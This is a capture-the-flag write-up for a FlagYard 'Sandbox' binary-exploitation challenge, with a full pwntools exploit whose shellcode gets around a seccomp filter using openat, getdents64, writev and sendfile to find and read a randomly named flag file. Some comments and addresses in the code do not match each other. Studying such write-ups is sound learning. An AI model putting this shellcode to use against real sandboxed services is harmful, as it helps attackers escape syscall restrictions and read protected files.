team-logo
Published on

Sandbox

Authors

Introduction

The Polish version will be available here. What made me decide to write about this excellent PWN? As always, the unusual construction of the challenge. On Sunday, I was planning to finish some overdue PWNs, but Da1sy asked me to take a look at this task. It works locally for him, but it doesn't work remotely on the server. The task is simple: you run the program, throw in your shellcode, and get the flag. Simple, right? Or is it?

Technical Description

After running the checksec command in pwndbg, it turns out that the only active protection is stack canary enforcement.

Checksec

pwndbg> checksec
File:     /ctf/flagyard/sbx
Arch:     amd64
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

The output from seccomp-tools unfortunately shows convoluted filter logic (is it BFS?). However, upon closer inspection, it becomes clear tha the syscalls read and openat are allowed. Meanwhile, write, open, and execve are blocked. Other syscalls not listed in the filter also work.

$ seccomp-tools dump ./sbx 

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0003
 0002: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0004
 0003: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0005
 0004: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0006
 0005: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW

Decompilation

The source code is decompiled using Ghidra. It is very straightforward. You simply input the shellcode on request. However, syscall calls are checked, and only allowed ones are passed through. If the program encounters a forbidden syscall, it immediately halts its execution.


undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  read(0,local_118,0x99);
  setup();
  (*(code *)local_118)();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Analysis

What could have gone wrong? The syscalls write, open, and read are blocked. However, sendfile and openat remain allowed. In theory, we should be able to open the flag file using openat and then send it to stdout with sendfile. Additionally, there is enough space for the buffer on the stack. Simple? Not quite.

As Da1sy mentioned, it works locally but not remotely. Why? Likely because the flag file has a different name. As a workaround, I attempted to read the executable itself, i.e., the sbx file. This worked remotely. I also checked the entire path /app/sbx, which also worked correctly. This confirms that reading works remotely.

The next step was to find the file's name containing the flag. I asked ChatGPT if there is a syscall that can read a directory's contents. Fortunately, it pointed to getdents64. I allocated space for the buffer in the .bss section. According to info file in pwndbg, the .bss section had only 8 free bytes: 0x0000000000404048 - 0x0000000000404050 However, upon checking vmmap, it turned out there was much more space available – a whole 0x1000 bytes. That’s plenty for the directory's contents, including metadata. I don’t expect there to be thousands of files in the directory.

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r--p     1000      0 /ctf/flagyard/sbx
          0x401000           0x402000 r-xp     1000   1000 /ctf/flagyard/sbx
          0x402000           0x403000 r--p     1000   2000 /ctf/flagyard/sbx
          0x403000           0x404000 r--p     1000   2000 /ctf/flagyard/sbx
          0x404000           0x405000 rw-p     1000   3000 /ctf/flagyard/sbx
    0x7ffff7da8000     0x7ffff7dab000 rw-p     3000      0 [anon_7ffff7da8]

Reading the flag file locally

This shellcode works offline if we know the file name is flag.

sh = """
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat ;// SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, rax
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile ;// SYS_sendfile
pop rax
syscall

A small note: comments in the style of ; are not sufficient when compiling shellcode in Python. You also need to add //.

Reading Directory Contents

Below is the shellcode that reads the directory contents and writes them to memory. In our case, the data is stored in the .bss section.

mov rdi, 1
mov rsi, 0x0000000000404248            ; // Adres danych z `getdents64`
mov rdx, 200                           ; // Liczba bajtów odczytanych z katalogu
mov rax, 20                            ; // SYS_writev
syscall

Further Problem

Reading the directory contents into memory worked, but how to display them on the screen? ChatGPT suggested a few advanced tricks, such as creating pipes, redirecting with dup2, swapping the pipe, and then using the read syscall. However, I decided to abandon this approach.

Looking for an alternative, I explored the website for related to syscall. I found pwrite64. Unfortunately, after deeper analysis and checking error codes, it turned out that pwrite64 cannot handle stdout.

A New, Better(?) Write

I asked ChatGPT if the writev syscall might work for this case. It replied that it should work without any issues. Naturally, it didn’t work immediately, but I knew that RAX returns an error code, which needed to be interpreted. It turned out that writev references the address differently than write. You need to provide the address of a pointer and the length of the data. Simple, right? (in hindsight).

I chose the addresses somewhat arbitrarily to avoid overwriting the directory data, and – to my relief – it worked.

mov  rax,0x0000000000404048
mov  [0x0000000000404448], rax ; // Zapis wskaźnika (adres danych) do adresu 0x404248
mov  rax,200
mov  [0x0000000000404450], rax ; // Zapis długości (200 bajtów w dziesiętnym) do adresu 0x404250

I successfully printed the directory contents.

File Name on the Stack

The issue with file names is that they tend to change. Manually pushing 8 bytes at a time onto the stack in reverse order gets tedious, especially when you need to do it repeatedly. So, I wrote a small script to automate the process, which will likely come in handy in the future.

def path_to_pushes(path):
    # Ensure the path ends with a null byte
    if not path.endswith("\x00"):
        path += "\x00"

    # Split the path into chunks of 8 bytes (64 bits) from the start
    chunks = []
    while path:
        chunk = path[:8]  # Take the first 8 bytes
        path = path[8:]  # Remove those bytes from the path

        # Convert the chunk to a little-endian 64-bit integer
        chunk_value = int.from_bytes(chunk.encode('latin1'), 'little')
        chunks.append((chunk, chunk_value))

    # Generate assembly code for the pushes in reverse order
    assembly_code = []
    for chunk, chunk_value in reversed(chunks):
        assembly_code.append(f"mov rax, 0x{chunk_value:016x} ; // {chunk}\npush rax")

    return "\n".join(assembly_code)

# Example usage
path = "/app/flag10f5c6c3f04aae26ca6b"
assembly = path_to_pushes(path)
print(assembly)

The result looks as follows. We insert this at the beginning of the shellcode.

mov rax, 0x0000006236616336 ; // 6ca6b
push rax
mov rax, 0x3265616134306633 ; // 3f04aae2
push rax
mov rax, 0x6336633566303167 ; // g10f5c6c
push rax
mov rax, 0x616c662f7070612f ; // /app/fla
push rax

Of course, I could have modified the entire shellcode after retrieving the flag's name, but I simply didn’t feel like it. I had already spent 8 hours on this.

Two Payloads

At this stage, we need to write two payloads. The first will retrieve the flag's name, and the second will read its contents.

The flag name is random and is regenerated each time the instance is started. Fortunately, it remains consistent within the same instance.

The procedure is as follows:

  1. Run the program for the first time to obtain the flag's name.
  2. Modify the first exploit by incorporating the retrieved flag name.
  3. Run the program again with the updated payload to obtain the flag.

Complete Exploit Code

from pwn import *             

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe'] 

HOST="34.252.33.37:32232"
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./sbx"
binary = context.binary = ELF(BINARY_NAME, checksec=False)


if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

bss = 0x0000000000404048


first_payload= """

mov rax, 0x000000007070612f ; // /app
push rax

mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
mov rax,SYS_openat ;// SYS_openat
syscall

mov rdi, rax                  

mov rsi, 0x0000000000404048         ; // wskaźnik na bufor 
mov rdx, 200            ; // rozmiar bufora
mov rax, 217           ; // SYS_getdents64
syscall

mov  rax,0x0000000000404048
mov  [0x0000000000404448], rax ; // Zapis wskaźnika (adres danych) do adresu 0x404248
mov  rax,200
mov  [0x0000000000404450], rax ; // Zapis długości (40 bajtów w dziesiętnym) do adresu 0x404250

mov rdi, 1
mov rsi, 0x0000000000404248            ; // Adres danych z `getdents64`
mov rdx, 200                ; // Liczba bajtów odczytanych z katalogu
mov rax, 20                 ; // SYS_writev
syscall

"""

second_payload = """
mov rax, 0x0000006236616336 ; // 6ca6b
push rax
mov rax, 0x3265616134306633 ; // 3f04aae2
push rax
mov rax, 0x6336633566303167 ; // g10f5c6c
push rax
mov rax, 0x616c662f7070612f ; // /app/fla
push rax

mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat ;// SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, rax
push 0
mov rdx, rsp
mov r10, 0x400
push SYS_sendfile ;// SYS_sendfile
pop rax
syscall

"""
# Analiza danych
def parse_data(data):
    # Przeszukaj dane, aby znaleźć sekcję z flagą
    flag = b"flag"
    start_idx = data.find(flag)  # Znajdź początek flagi
    if start_idx == -1:
        return "Flaga nie znaleziona"
    
    # Znajdź koniec flagi (zakładamy, że kończy się zerem)
    end_idx = data.find(b'\x00', start_idx)
    if end_idx == -1:
        return "Brak zakończenia flagi"
    
    # Wyciągnij flagę
    extracted_flag = data[start_idx:end_idx].decode()
    return extracted_flag

shell=asm(first_payload)
p.send(shell)
flag_path="/app/"+parse_data(p.recv())
info (f"Flag patch: {flag_path}")
p.close()

if args.REMOTE:
    p = remote(ADDRESS,PORT)

#---warning 
#--name of flag probabli will be different
shell=asm(second_payload)
p.send(shell)

p.interactive()

Summary

Well, another great challenge from FlagYard, and I might have spoiled the fun a bit for you. 😉 I hope, however, that you'll refer to this solution only if you're truly stuck. Trying on your own is the best way to learn!